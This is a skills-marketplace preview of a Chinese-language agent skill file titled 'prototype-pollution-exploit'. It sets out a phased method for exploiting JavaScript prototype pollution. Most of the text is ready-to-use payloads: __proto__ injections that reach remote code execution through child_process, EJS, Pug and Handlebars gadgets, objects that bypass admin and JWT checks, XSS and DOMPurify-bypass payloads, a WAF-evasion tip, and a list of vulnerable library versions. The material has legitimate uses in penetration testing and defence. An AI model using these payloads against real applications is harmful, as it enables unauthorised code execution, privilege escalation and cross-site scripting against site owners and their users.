Skip to main content

prototype-pollution-exploit

JavaScript 原型链污染漏洞利用方法论。当目标为 Node.js 应用、使用 lodash/jQuery/深拷贝函数、接收 JSON 输入时使用。覆盖 Server-side(RCE/权限绕过)和 Client-side(XSS/DOM 操控)两种场景

Source facts

Repository
wgpsec/AboutSecurity
Last source activity
April 23, 2026 at 03:16
Detected SKILL.md language
Chinese
Stars
1,822
Forks
253

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

File Explorer
3 files

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
prototype-pollution-exploit
description
JavaScript 原型链污染漏洞利用方法论。当目标为 Node.js 应用、使用 lodash/jQuery/深拷贝函数、接收 JSON 输入时使用。覆盖 Server-side(RCE/权限绕过)和 Client-side(XSS/DOM 操控)两种场景
metadata
{"tags":"prototype pollution,__proto__,constructor,javascript,nodejs,lodash,json,原型链污染,RCE,XSS","category":"exploit","mitre_attack":"T1059.007,T1190"}
# JavaScript 原型链污染漏洞利用 > **核心原理**:通过修改 `Object.prototype`,向所有 JavaScript 对象注入恶意属性 ## ⛔ 深入参考 - 服务端 RCE 利用链(child_process/EJS/Pug/Handlebars)→ [references/server-side-rce.md](references/server-side-rce.md) - 客户端 Gadgets(jQuery/Mithril/Vue/DOMPurify 绕过)→ [references/client-side-gadgets.md](references/client-side-gadgets.md) --- ## Phase 1: 识别原型链污染点 ### 1.1 常见触发模式 ``` 存在漏洞的代码模式: ├─ 递归合并/深拷贝: merge(target, userInput) ├─ 路径赋值: obj[a][b] = value(a/b 来自用户) ├─ lodash: _.merge / _.defaultsDeep / _.set(旧版本) ├─ jQuery: $.extend(true, {}, userInput) └─ 自定义 deepCopy/assign 函数 ``` ### 1.2 测试 Payload ```json // 方式 1: __proto__ 直接注入 {"__proto__": {"polluted": "yes"}} // 方式 2: constructor.prototype {"constructor": {"prototype": {"polluted": "yes"}}} // 方式 3: 嵌套路径注入(URL 参数场景) ?__proto__[polluted]=yes ?constructor[prototype][polluted]=yes // 方式 4: JSON 数组绕过(某些 parser 处理差异) [{"__proto__": {"polluted": "yes"}}] ``` ### 1.3 检测是否成功 ```javascript // 服务端验证(如能执行代码) console.log({}.polluted); // 输出 "yes" = 污染成功 // 黑盒验证:观察应用行为变化 // 例如:污染 admin=true → 获取管理员权限 ``` ## Phase 2: Server-side 利用(RCE 优先) ### 2.1 决策树 ``` 目标环境? ├─ Node.js + child_process 可触发 │ └─ 污染 shell/env/NODE_OPTIONS → RCE ├─ Node.js + 模板引擎(EJS/Pug/Handlebars) │ └─ 污染模板编译选项 → RCE ├─ Node.js + 认证逻辑 │ └─ 污染 isAdmin/role → 权限绕过 └─ 无直接 RCE 路径 └─ 污染配置项(DEBUG/verbose)→ 信息泄露 ``` ### 2.2 RCE via child_process ```json // 污染 child_process.spawn 的默认选项 {"__proto__": { "shell": "node", "NODE_OPTIONS": "--require /proc/self/environ" }} // 或通过 env 注入 {"__proto__": { "env": { "NODE_OPTIONS": "--require=./malicious.js" }, "shell": "/bin/bash" }} ``` ### 2.3 RCE via EJS 模板引擎 ```json // EJS 编译时会检查 opts.outputFunctionName // 如果被污染,注入的代码会在模板编译时执行 {"__proto__": { "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x" }} // EJS 3.x 另一向量 {"__proto__": { "client": true, "escapeFunction": "1;return process.mainModule.require('child_process').execSync('id');" }} ``` ### 2.4 RCE via Pug/Jade ```json // Pug 模板引擎 {"__proto__": { "block": { "type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//" } }} ``` ### 2.5 RCE via Handlebars ```json // Handlebars 4.x {"__proto__": { "main": "\n return process.mainModule.require('child_process').execSync('id').toString();\n" }} ``` ### 2.6 权限绕过 ```json // 应用检查 user.isAdmin 或 user.role // 如果未显式设置,会继承 prototype 的值 {"__proto__": {"isAdmin": true}} {"__proto__": {"role": "admin"}} {"__proto__": {"verified": true}} // JWT 验证绕过(某些实现) {"__proto__": {"algorithm": "none"}} ``` ## Phase 3: Client-side 利用 ### 3.1 XSS via DOM 属性污染 ```json // 污染 innerHTML 相关属性 {"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}} // 通过 URL 参数污染(某些 SPA 框架解析 query string) ?__proto__[src]=data:,alert(1) ?__proto__[onload]=alert(1) ``` ### 3.2 绕过 DOMPurify/Sanitizer ```json // 某些版本的 DOMPurify 可通过原型链污染绕过 {"__proto__": {"ALLOWED_TAGS": ["img", "script"]}} {"__proto__": {"ADD_ATTR": ["onerror", "onload"]}} // 或禁用清理 {"__proto__": {"RETURN_DOM": true}} ``` ### 3.3 jQuery Gadget ```json // jQuery < 3.4.0 的 $.extend 存在原型链污染 // 配合 HTML 属性注入 {"__proto__": {"class": "xss-class", "onclick": "alert(1)"}} ``` ## Phase 4: 常见框架漏洞版本 | 库 | 漏洞版本 | CVE | |----|---------|-----| | lodash merge | < 4.17.12 | CVE-2019-10744 | | lodash defaultsDeep | < 4.17.12 | CVE-2019-10744 | | jQuery extend | < 3.4.0 | CVE-2019-11358 | | minimist | < 1.2.6 | CVE-2021-44906 | | class-transformer | < 0.3.1 | — | | Hoek (hapi) | < 5.0.3 | CVE-2018-3728 | | Handlebars | < 4.6.0 | CVE-2019-19919 | | EJS | < 3.1.7 | CVE-2022-29078 | ## Phase 5: 自动化发现 ```bash # 静态扫描(源代码审计) grep -rn "merge\|assign\|extend\|deepCopy" --include="*.js" . grep -rn "\[.*\]\[.*\].*=" --include="*.js" . # 动态路径赋值 # 依赖版本检查 npm audit npm ls lodash # 检查 lodash 版本 # 动态测试 # 在所有 JSON 输入点注入 __proto__ payload # 观察响应变化或新属性出现 ``` ## ⛔ 注意事项 - Node.js 的 `--disable-proto=throw` 选项会阻止 `__proto__` 访问 - `Object.create(null)` 创建的对象无原型 → 不可污染 - ES2022 `Object.hasOwn()` 不受原型影响 - 某些 WAF 会过滤 `__proto__` → 用 `constructor.prototype` 绕过
View on GitHub